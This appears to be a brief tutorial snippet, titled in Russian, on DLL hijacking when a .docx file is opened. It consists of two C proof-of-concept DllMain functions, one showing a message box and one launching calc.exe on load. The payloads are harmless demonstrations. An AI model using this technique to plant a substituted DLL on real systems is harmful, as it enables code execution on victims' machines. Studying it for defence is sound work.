DLL hijacking или подмена DLL при открытии .docx

#include <windows.h>
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "Hi from DLL", "Info", MB_OK);
            break;
 
        case DLL_PROCESS_DETACH:
            // detach from process
            break;
 
        case DLL_THREAD_ATTACH:
            // attach to thread
            break;
 
        case DLL_THREAD_DETACH:
            // detach from thread
            break;
    }
    return TRUE; // succesful
}

#include <stdio.h>
#include <windows.h>
 
#pragma comment(lib,"shell32.lib")
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
   if (fdwReason==DLL_PROCESS_ATTACH)
   {
      ShellExecute(NULL, "open", "c:\\windows\\system32\\calc.exe",  NULL, NULL, SW_SHOWNORMAL);
   }
   else 
    return TRUE;
 
   return FALSE;
}